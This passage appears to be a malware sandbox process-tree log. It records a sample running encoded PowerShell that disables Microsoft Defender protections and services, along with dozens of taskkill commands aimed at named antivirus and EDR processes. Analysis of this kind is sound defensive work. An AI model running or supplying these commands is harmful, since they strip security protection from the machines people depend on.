      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:4508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:4040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:4252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    PID:1416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:4596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:2380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:4644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2636
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      PID:2160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    PID:4688
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Kills process with taskkill
      PID:1224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    PID:1136
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      PID:1236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    PID:1580
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Kills process with taskkill
      PID:2172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    PID:2648
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Kills process with taskkill
      PID:2732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    PID:2232
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      PID:4904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:4176
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      PID:2716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:1496
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      PID:4504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4828
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      PID:836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4028
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      PID:2908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:1888
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      PID:4916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2332
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    PID:3440
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Kills process with taskkill
      PID:3424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    PID:768
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      PID:4496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    PID:4836
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      PID:780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    PID:2304
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Kills process with taskkill
      PID:4780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    PID:5020
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Kills process with taskkill
      PID:2376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    PID:4624
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      PID:4168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    PID:1508
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      Kills process with taskkill
      PID:4524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2464
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      PID:1524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    PID:5104
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      PID:3860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2008
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      Kills process with taskkill
      PID:3184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    PID:3664
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      PID:1288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    PID:4216
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      PID:1208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3924
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      Kills process with taskkill
      PID:4496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2760
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      Kills process with taskkill
      PID:1340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    PID:4548
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      PID:652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CrowdStrike.exe"
    3⤵
    PID:4540
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CrowdStrike.exe
      4⤵
      Kills process with taskkill
      PID:4852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CSAgent.exe"
    3⤵
    PID:3060
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CSAgent.exe
      4⤵
      PID:5032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SentinelOne.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4524
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SentinelOne.exe
      4⤵
      PID:5040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Cynet.exe"
    3⤵
    PID:2748
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Cynet.exe
      4⤵
      Kills process with taskkill
      PID:3888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im DeepInstinct.exe"
    3⤵
    PID:3668
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im DeepInstinct.exe
      4⤵
      PID:1356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Elastic.exe"
    3⤵
    PID:2960
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Elastic.exe
      4⤵
      PID:4248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Gridinsoft.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1156
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3424
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Gridinsoft.exe
      4⤵
      PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecureAge.exe"
    3⤵
    PID:2084
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecureAge.exe
      4⤵
      PID:4276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Avira.exe"
    3⤵
    PID:4696
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Avira.exe
      4⤵
      PID:4672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Zillya.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4616
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Zillya.exe
      4⤵
      PID:2072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:220
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      PID:4680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:2352
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Kills process with taskkill
      PID:3984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4804
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      PID:3928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4476
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMWsc.exe
      4⤵
      PID:3276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAM.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2940
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAM.exe
      4⤵
      PID:3340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im mbam.exe"
    3⤵
    PID:5096
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im mbam.exe
      4⤵
      Kills process with taskkill
      PID:2148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMChameleon.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4048
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMChameleon.exe
      4⤵
      Kills process with taskkill
      PID:3584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA="
    3⤵
    - Executes a command shell one-liner
    PID:964
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    PID:4928
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      PID:1236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:1280
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      PID:3864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:2888
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      PID:2820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MpCmdRun.exe"
    3⤵
    PID:3172
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MpCmdRun.exe
      4⤵
      PID:3984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASCui.exe"
    3⤵
    - Executes a command shell one-liner
    PID:632
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASCui.exe
      4⤵
      PID:4820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASvc.exe"
    3⤵
    PID:2112
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASvc.exe
      4⤵
      Kills process with taskkill
      PID:3532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:4832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:4104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:4160
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:1568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:5040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:4512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:4392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:3092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
